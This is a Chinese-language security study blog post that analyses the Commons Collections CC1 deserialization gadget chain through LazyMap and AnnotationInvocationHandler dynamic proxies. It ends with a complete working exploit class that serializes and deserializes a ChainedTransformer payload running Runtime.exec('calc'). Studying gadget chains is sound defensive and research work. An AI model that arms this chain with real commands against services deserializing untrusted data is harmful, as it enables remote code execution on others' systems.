cc1链补充

xekOnerR Sleep.. zzzZZzZ

前言

之前分析了 cc1 链的 TransformMap 链
现在继续分析一下正版 cc1 链子, LazyMap 链

https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/

https://www.bilibili.com/video/BV169wbejEpQ/?spm_id_from=333.1007.top_right_bar_window_history.content.click

分析

LazyMap 初步利用链

首先要说明的是,LazyMap 的利用链,漏洞点同样是 InvokerTransformer ,所以这一块不做解释了。

JAVA/attachments/Pasted image 20260209105236.png

很明显就能看出来这一行代码

1
Object value = factory.transform(key);

如果说 factory 以及 key 可控,我们就可以变为:

1
InvokerTransformer.transform(Runtime.getRuntime());

那就来分析一下:

JAVA/attachments/Pasted image 20260209105443.png

factory 的赋值在 LazyMap 方法中,但是是一个 protected 方法。
所以肯定会被自身调用

JAVA/attachments/Pasted image 20260209105528.png

找到了 decorate 方法
所以我们只需要传入 map 和 new 出来的 invokerTransformer 对象,再去调用 get 即可。

POC

1
2
3
4
5
6
7
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, invokerTransformer);
lazymap.get(r);
}
JAVA/attachments/Pasted image 20260209113403.png

继续寻找利用链

get find usage,出来很多结果
最后还是会定位到 AnnotationInvocationHandler

JAVA/attachments/Pasted image 20260209113737.png

位于 invoke 方法中
JAVA/attachments/Pasted image 20260209114148.png

动态代理回顾

详细见之前的笔记

我们知道,通过动态代理去调用任意一个方法就会走到 invoke 方法中。
可以做一个验证:

  • UserService
1
2
3
4
public interface UserService {  
void addUser(String name);
void deleteUser(String name);
}
  • UserServiceImpl.java - UserService 接口的实现类
1
2
3
4
5
6
7
8
9
10
11
12
public class UserServiceImpl implements UserService {  

@Override
public void addUser(String name) {
System.out.println("UserServiceImpl addUser");
}

@Override
public void deleteUser(String name) {
System.out.println("UserServiceImpl deleteUser");
}
}
  • TestInvocationHandler.java - invocationHandler 动态代理实现类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;

public class TestInvocationHandler implements InvocationHandler {
private Object target;
public TestInvocationHandler(Object target) {
this.target = target;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodNmae = method.getName();
if (methodNmae.equals("addUser")) {
System.out.println("invoke addUser");
method.invoke(this.target, args);
System.out.println("invoke addUser Done");
} else if (methodNmae.equals("deleteUser")) {
System.out.println("invoke deleteUser");
method.invoke(this.target, args);
System.out.println("invoke deleteUser Done");
}

return null;
}
}

其中这一段为构造函数,目的是传入一个对象,也就是 UserService 接口的实现类 UserServiceImpl

1
2
3
public TestInvocationHandler(Object target) {  
this.target = target;
}

下面判断方法名后执行相对应的方法。

  • TestProxy.java - 测试类
1
2
3
4
5
6
7
8
9
10
11
12
    public static void main(String[] args) {
// ClassLoader loader, 直接获取系统类加载器
// Class<?>[] interfaces, Class数组,接口的class
// InvocationHandler h invocationHandler 实现类
TestInvocationHandler testInvocationHandler = new TestInvocationHandler(new UserServiceImpl());
UserService userService = (UserService) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{UserService.class}, testInvocationHandler);
// 动态代理
// 在不修改原本代码的前提下修改代码的内容(一般是添加新功能 , 类似于AOP面向切面编程)
userService.addUser("test");


}
JAVA/attachments/Pasted image 20260209123201.png

userService 为代理对象,通过 userService 去调用 addUser 方法。
首先会去我们传入的动态代理实现类中的 invoke 方法中判断方法名字是否存在,然后再执行对应代码。

回到利用链

因此,我们要进入 invoke 方法去调用 get 方法,必须要实现动态代理调用。
在 readObject 方法中有这么一行:

1
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
JAVA/attachments/Pasted image 20260209124256.png

如果我们把 memberValues 改为代理对象, 当调用代理对象的 entrySet 方法自然就会跳转到 invoke() 方法中。

因为 AnnotationInvocationHandler.java 是默认类,需要反射才可以调用。

1
2
3
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);

实例化并且创建动态代理对象,序列化对象。
Map.class 是因为实现的是 Map 接口
再 newInstance 一次是因为要触发 invoke 方法去调用 get 方法

1
2
3
4
5
InvocationHandler annotation = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazymap);// memberValues -> Lazymap  
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annotation);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, proxyMap);
serialize(o);
unserialize();

这里的 lazymap 和 cc1链子中 TransformedMap 的链子代码是一样的。

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);

原因是 get()中的参数 member 不可控,需要 new ConstantTransformer(Runtime.class) 返回值。

总结

和 TransformedMap 链大差不差,改成了动态代理的利用点

执行流程:

readObject()
-> proxyMap.entrySet()

  • 动态代理走到 invoke 中
    -> LazyMap.get(xxx)
    -> factory.transform(xxx)
    -> ChainedTransformer
  • ConstantTransformer(Runtime.class)
  • InvokerTransformer

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1_LazyMap {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler annotation = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazymap);// memberValues -> Lazymap
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annotation);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, proxyMap);
serialize(o);
unserialize();
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
return o;
}
}

JAVA/attachments/Pasted image 20260209135545.png
  • Title: cc1链补充
  • Author: xekOnerR
  • Created at : 2026-02-09 14:10:08
  • Updated at : 2026-02-09 15:41:47
  • Link: https://xekoner.xyz/2026/02/09/cc1链补充/
  • License: This work is licensed under CC BY-NC-SA 4.0.